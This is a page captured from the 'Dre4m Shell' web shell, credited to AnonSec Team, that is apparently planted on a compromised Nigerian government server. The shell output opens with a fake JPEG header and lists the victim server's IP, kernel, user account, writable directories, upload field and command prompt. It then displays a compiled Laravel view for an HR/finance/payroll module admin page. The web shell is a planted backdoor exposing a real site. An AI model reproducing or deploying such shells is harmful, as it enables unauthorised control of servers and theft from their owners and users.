ÿØÿàJFIFÿáExifMM*ÿÛC  Dre4m Was Here
Dre4m Shell
Server IP : 199.250.214.225  /  Your IP : 3.143.25.65
Web Server : Apache
System : Linux vps64074.inmotionhosting.com 3.10.0-1160.105.1.vz7.214.3 #1 SMP Tue Jan 9 19:45:01 MSK 2024 x86_64
User : nicngo5 ( 1001)
PHP Version : 7.4.33
Disable Function : exec,passthru,shell_exec,system
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : OFF
Directory :  /home/nicngo5/grp.nicn.gov.ng/storage/framework/views/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : /home/nicngo5/grp.nicn.gov.ng/storage/framework/views/073f1740f9016dc87f50dc5eeea56678b5d30979.php
<?php $__env->startSection('pageTitle'); ?>
Add New Module
<?php $__env->stopSection(); ?>

<?php $__env->startSection('content'); ?>
<div id="page-wrapper" class="box box-default">
  <div class="container-fluid">
    <div class="col-md-12 text-success"><!--2nd col--> 
      <big><b><?php echo $__env->yieldContent('pageTitle'); ?></b></big> </div>
    <br />
    <hr >
    <div class="row">
      <div class="col-md-9"> <br>
        <?php if(count($errors) > 0): ?>
        <div class="alert alert-danger alert-dismissible" role="alert">
          <button type="button" class="close" data-dismiss="alert" aria-label="Close"><span aria-hidden="true">&times;</span> </button>
          <strong>Error!</strong> <?php $__currentLoopData = $errors->all(); $__env->addLoop($__currentLoopData); foreach($__currentLoopData as $error): $__env->incrementLoopIndices(); $loop = $__env->getLastLoop(); ?>
          <p><?php echo e($error); ?></p>
          <?php endforeach; $__env->popLoop(); $loop = $__env->getLastLoop(); ?> </div>
        <?php endif; ?>                       
        
        <?php if(session('message')): ?>
        <div class="alert alert-success alert-dismissible" role="alert">
          <button type="button" class="close" data-dismiss="alert" aria-label="Close"><span aria-hidden="true">&times;</span> </button>
          <strong>Success!</strong> <?php echo e(session('message')); ?></div>
        <?php endif; ?>
        <?php if(session('error_message')): ?>
        <div class="alert alert-error alert-dismissible" role="alert">
          <button type="button" class="close" data-dismiss="alert" aria-label="Close"><span aria-hidden="true">&times;</span> </button>
          <strong>Error!</strong> <?php echo e(session('error_message')); ?></div>
        <?php endif; ?>
        <form method="post" action="<?php echo e(url('/module/add')); ?>" class="form-horizontal">
          <?php echo e(csrf_field()); ?> 
          
          <!--<div class="form-group">
                        <label for="section" class="col-md-3 control-label">Select Role</label>
                        <div class="col-md-9">
                          <select name="role" class="form-control" id="role">
                          <option value="">Select One</option>
                          <?php $__currentLoopData = $roles; $__env->addLoop($__currentLoopData); foreach($__currentLoopData as $list): $__env->incrementLoopIndices(); $loop = $__env->getLastLoop(); ?>
                         
                            <option value=""></option>
                           
                            <?php endforeach; $__env->popLoop(); $loop = $__env->getLastLoop(); ?>
                          </select>
                        </div>
                      </div>-->
          
          <div class="form-group">
            <label for="section" class="col-md-3 control-label">Module Name</label>
            <div class="col-md-9">
              <input id="moduleName" type="text" class="form-control" name="moduleName" value="<?php echo e(old('moduleName')); ?>" required>
            </div>
          </div>

          <div class="form-group">
            <label for="section" class="col-md-3 control-label">Rank</label>
            <div class="col-md-9">
              <input id="rank" type="number" class="form-control" name="rank" value="<?php echo e(old('rank')); ?>" required>
            </div>
          </div>

          <div class="form-group">
            <label for="section" class="col-md-3 control-label">Module For</label>
            <div class="col-md-9">
              <select name="link_type" id="" class="form-control form-select" required>
                <option value="">Select...</option>
                <option value="HR">HR</option>
                <option value="FINANCE">FINANCE</option>
                <option value="PAYROLL">PAYROLL</option>
              </select>
            </div>
          </div>

          <div class="form-group">
            <div class="col-sm-offset-3 col-sm-9">
              <button type="submit" class="btn btn-success btn-sm pull-right">Add Module</button>
            </div>
          </div>
        </form>
      </div>
    </div>
  </div>
</div>
<div id="page-wrapper" class="box box-default">
<div class="box-body">
  <h2 class="text-center">ALL MODULES</h2>
  <div class="row"> <?php echo e(csrf_field()); ?>

    <div class="col-md-12">
      <table class="table table-striped table-condensed table-bordered input-sm">
        <thead>
          <tr class="input-sm">
            <th>S/N</th>
            <th>MODULE NAME</th>
            <th>MODULE FOR</th>
            <th>RANK</th>
            <th>DATE CREATED</th>
            <th></th>
          </tr>
        </thead>
        <tbody>
        
        <?php $key = 1; ?>
        <?php $__currentLoopData = $modules; $__env->addLoop($__currentLoopData); foreach($__currentLoopData as $list): $__env->incrementLoopIndices(); $loop = $__env->getLastLoop(); ?>
        <tr>
          <td><?php echo e(($modules->currentpage()-1) * $modules->perpage() + $key ++); ?></td>
          <td><?php echo e(strtoupper($list->modulename)); ?></td>
          <td><?php echo e(strtoupper($list->link_type)); ?></td>
          <td><?php echo e(strtoupper($list->module_rank)); ?></td>
          <td><?php echo e($list->created_at); ?></td>
          <td><a href="#" title="Edit" id="<?php echo e($list->moduleID); ?>" class="btn btn-success fa fa-edit edit"></a></td>
        </tr>
        <?php endforeach; $__env->popLoop(); $loop = $__env->getLastLoop(); ?>
        </tbody> 
      </table>
       <hr />
      <div align="right">
          Showing <?php echo e(($modules->currentpage()-1)*$modules->perpage()+1); ?>

                  to <?php echo e($modules->currentpage()*$modules->perpage()); ?>

                  of  <?php echo e($modules->total()); ?> entries
      </div>
      <div class="hidden-print"><?php echo e($modules->links()); ?></div>
    </div>
  </div>
  <!-- /.col --> 
  
</div>


<!-- modal bootstrap -->
<form action="<?php echo e(url('/module/update')); ?>" method="post">
<?php echo e(csrf_field()); ?> 
<div id="myModal" class="modal fade">
    <div class="modal-dialog">
        <div class="modal-content">
            <div class="modal-header">
                <button type="button" class="close" data-dismiss="modal" aria-hidden="true">&times;</button>
                <h4 class="modal-title">Update Module</h4>
            </div>
            <div class="modal-body">
           
                    <div class="row" style="margin-bottom: 10px;">
                     <div class="form-group">
                        <label for="section" class="col-md-3 control-label">Module Name</label>
                        <div class="col-md-9">
                          <input id="module" type="text" class="form-control" name="name" required>
                          <input id="id" type="hidden" class="form-control" name="moduleID" required>
                        </div>
                      </div>
                    </div>
                      
                    <div class="row" style="margin-bottom: 10px;">
                     <div class="form-group">
                       <label for="section" class="col-md-3 control-label">Rank</label>
                        <div class="col-md-9">
                          <input id="ranks" type="number" class="form-control" name="rank" value="" required>
                          
                        </div>
                      </div>
                    </div>
                    
                    <div class="row" style="margin-bottom: 10px;">
                    <div class="form-group">
                      <label for="section" class="col-md-3 control-label">Module For</label>
                      <div class="col-md-9">
                        <select name="link_type" id="link_type" class="form-control form-select" required>
                          <option value="">Select...</option>
                          <option value="HR">HR</option>
                          <option value="FINANCE">FINANCE</option>
                          <option value="PAYROLL">PAYROLL</option>
                        </select>
                      </div>
                    </div>
                    </div>


            <div class="modal-footer">
                <button type="button" class="btn btn-default" data-dismiss="modal">Close</button>
                <button type="submit" id="button" class="btn btn-primary">Save changes</button>
            </div>
        </div>
    </div>
</div>

<!--// modal Bootstrap -->
</form>

<?php $__env->stopSection(); ?> 

<?php $__env->startSection('styles'); ?>
<link rel="stylesheet" type="text/css" href="<?php echo e(asset('assets/css/datepicker.min.css')); ?>">
<link rel="stylesheet" type="text/css" href="<?php echo e(asset('assets/css/custom-style.css')); ?>">
<?php $__env->stopSection(); ?>

<?php $__env->startSection('scripts'); ?>

<script type="text/javascript" src="<?php echo e(asset('tinymce/js/tinymce/tinymce.min.js')); ?>"></script>
<script src="<?php echo e(asset('assets/js/jquery-ui.min.js')); ?>"></script>
<script src="<?php echo e(asset('assets/js/jquery.autocomplete.min.js')); ?>" ></script>


<script type="text/javascript">
$(document).ready(function(){
 $('table tr td .edit').click(function(){
  var id = $(this).attr('id');
//alert(id);
$.ajax({
  url: murl +'/module/modify',
  type: "post",
  data: {'id': id, '_token': $('input[name=_token]').val()},
  success: function(data){
console.log(data.modulename);
   $('#module').val(data.modulename);
   $('#id').val(data.moduleID);
   $('#ranks').val(data.module_rank);
   $('#link_type').val(data.link_type);
  }
});

});
});
</script>

<script>

  $(document).ready(function(){
$('table tr td .edit').click(function()
{

$("#myModal").modal('show');
})

  });
</script>

<?php $__env->stopSection(); ?>

<?php echo $__env->make('layouts.layout', \Illuminate\Support\Arr::except(get_defined_vars(), ['__data', '__path']))->render(); ?><?php /**PATH C:\xampp\htdocs\nicngrp\resources\views/MasterRolePermission/module/create.blade.php ENDPATH**/ ?>

Anon7 - 2022
AnonSec Team